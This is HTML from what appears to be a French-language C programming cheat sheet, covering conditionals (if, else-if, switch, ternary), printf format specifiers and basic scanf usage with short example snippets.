<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Structure basique d'un if</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">condition</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Code to execute if condition is true</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple simple</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> age </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">age </span><span class="token operator" style="color:#393A34">&gt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">18</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"You are an adult.\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="if---else">if - else<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#if---else" class="hash-link" aria-label="Lien direct vers if - else" title="Lien direct vers if - else" translate="no">​</a></h3>
<p>L'instruction <code>if-else</code> permet au programme de prendre des décisions basées sur des conditions. Si une condition est vraie, un bloc de code s'exécute ; dans le cas contraire, un autre est exécuté.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de if-else</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> age </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">17</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">age </span><span class="token operator" style="color:#393A34">&gt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">18</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"You are an adult.\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"You are a minor.\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>Ici, le résultat sera donc un mineur vu que le bloc <code>else</code> a été exécuté.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="else-if">else-if<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#else-if" class="hash-link" aria-label="Lien direct vers else-if" title="Lien direct vers else-if" translate="no">​</a></h3>
<p>L'instruction <code>else-if</code> permet de vérifier plusieurs conditions en séquence. Lorsque la première condition <code>if</code> échoue, elle passe alors à la condition <code>else-if</code> suivante, et ainsi de suite.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de else-if</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">grade </span><span class="token operator" style="color:#393A34">&gt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">90</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"A grade\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">grade </span><span class="token operator" style="color:#393A34">&gt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">80</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"B grade\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">grade </span><span class="token operator" style="color:#393A34">&gt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">70</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"C grade\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Failed\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="switch-case">Switch case<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#switch-case" class="hash-link" aria-label="Lien direct vers Switch case" title="Lien direct vers Switch case" translate="no">​</a></h3>
<p>L'instruction <code>switch</code> est un décideur à plusieurs voies qui teste si une expression correspond à l'une de plusieurs valeurs entières constantes, et qui se branche en conséquence.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de switch case</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> day </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">switch</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">day</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">case</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Monday\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">break</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">case</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Tuesday\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">break</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">case</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Wednesday\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">break</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">default</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Other day\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="opérateur-conditionnel-ternaire">Opérateur conditionnel ternaire<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#op%C3%A9rateur-conditionnel-ternaire" class="hash-link" aria-label="Lien direct vers Opérateur conditionnel ternaire" title="Lien direct vers Opérateur conditionnel ternaire" translate="no">​</a></h3>
<p>L'opérateur conditionnel ternaire est une manière plus rapide pour déclarer un <code>if-else</code> en une seule ligne.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">La syntaxe</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">condition </span><span class="token operator" style="color:#393A34">?</span><span class="token plain"> value_if_true </span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> value_if_false</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Condition traditionnelle</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> max</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">a </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> b</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    max </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> a</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    max </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> b</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Cette condition mais en version ternaire</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> max </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">a </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> b</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">?</span><span class="token plain"> a </span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> b</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Ici, si la condition est vraie, <code>a</code> est retourné, si elle est fausse, <code>b</code> est retourné.</p>
<p>On peut également imbriqué cet opérateur, mais rendre le code moins lisible :</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Bonne chance : )</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> x </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">a </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> b</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">?</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">a </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> c</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">?</span><span class="token plain"> a </span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> c</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">b </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> c</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">?</span><span class="token plain"> b </span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> c</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="if-else-imbriqué">if-else imbriqué<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#if-else-imbriqu%C3%A9" class="hash-link" aria-label="Lien direct vers if-else imbriqué" title="Lien direct vers if-else imbriqué" translate="no">​</a></h3>
<p>On peut imbriquer des instructions <code>if-else</code> les unes dans les autres. Cela nous permet de créer des structures décisionnelles hiérarchiques.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">if imbriqué</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">condition1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">condition2</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">condition3</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token comment" style="color:#999988;font-style:italic">// if condition1, condition2 and condition3 are true</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="input--output">Input &amp; Output<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#input--output" class="hash-link" aria-label="Lien direct vers Input &amp; Output" title="Lien direct vers Input &amp; Output" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="spécificateurs-de-format"><span id="specificateurFormat">spécificateurs de format</span><a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#sp%C3%A9cificateurs-de-format" class="hash-link" aria-label="Lien direct vers spécificateurs-de-format" title="Lien direct vers spécificateurs-de-format" translate="no">​</a></h3>
<p>En C, la fonction <code>printf()</code> est utilisée écrire une sortie formatée dans la console. Elle fait partie de la bibliothèque <em>standard input/output</em> <code>&lt;stdio.h&gt;</code></p>
<p>La chaîne de format peut contenir :</p>
<ul>
<li class="">du texte brut, qui est imprimé tel quel</li>
<li class="">des spécificateurs de format, qui commencent par <code>%</code> et sont remplacés par les valeurs des arguments.</li>
</ul>
<p>Les spécificateurs de format :</p>
<ul>
<li class=""><code>%d</code> ou <code>%i</code> pour les entiers (<code>int</code>)</li>
<li class=""><code>%f</code> pour les <code>float</code> ou <code>double</code></li>
<li class=""><code>%e</code> ou <code>%E</code> pour les notations scientifiques</li>
<li class=""><code>%lf</code> pour les <code>double</code></li>
<li class=""><code>%Lf</code> pour les <code>long double</code></li>
<li class=""><code>%o</code> entier octal</li>
<li class=""><code>%u</code> entier court non signé</li>
<li class=""><code>%ld</code> entier décimal long</li>
<li class=""><code>%x</code> ou <code>%X</code> entier en hexadécimal</li>
<li class=""><code>%p</code> imprime l'adresse mémoire sous forme hexadécimale</li>
<li class=""><code>%c</code> pour les caractères (<code>char</code>)</li>
<li class=""><code>%s</code> pour les chaînes de caractères (<code>string</code>)</li>
</ul>
<p>On peut également ajouter du contrôle dans la largeur et la précision de la sortie :</p>
<ul>
<li class=""><code>%5d</code> : un entier de largeur 5</li>
<li class=""><code>%7.2f</code> : un <code>float</code> de largeur 7 avec 2 places après la virgule</li>
<li class=""><code>%-10s</code> : un <code>string</code> aligné à gauche avec une largeur de 10</li>
</ul>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> age </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">25</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"I am %d years old.\n"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> age</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">/*</span><br></div><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">\n permet de faire un retour à la ligne</span><br></div><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">*/</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-fonction-scanf">la fonction <code>scanf()</code><a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#la-fonction-scanf" class="hash-link" aria-label="Lien direct vers la-fonction-scanf" title="Lien direct vers la-fonction-scanf" translate="no">​</a></h3>
<p>En langage C, la fonction <code>scanf()</code> est utilisée pour lire une entrée formatée de l'utilisateur. C'est une fonction qui fait partie de <code>&lt;stdio.h&gt;</code>.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">syntaxe basique</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">scanf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Chaîne de format"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">variable1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">variable2</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// ATTENTION              ^           ^</span><br></div></code></pre></div></div>
<p>La chaîne de format contient des spécificateurs de format qui correspondent aux type de variable que l'on lit. On retrouve ceux que j'ai énoncé <a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#specificateurFormat" class="">au dessus</a>.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>rappel</div><div class="admonitionContent_BuS1"><p>Il y a un <code>&amp;</code> avant de définit les variables. La fonction <code>scanf</code> a besoin de l'adresse mémoire des variable pour écrire les données que l'utilisateur renseigne.</p></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> age</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">scanf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%d"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">age</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
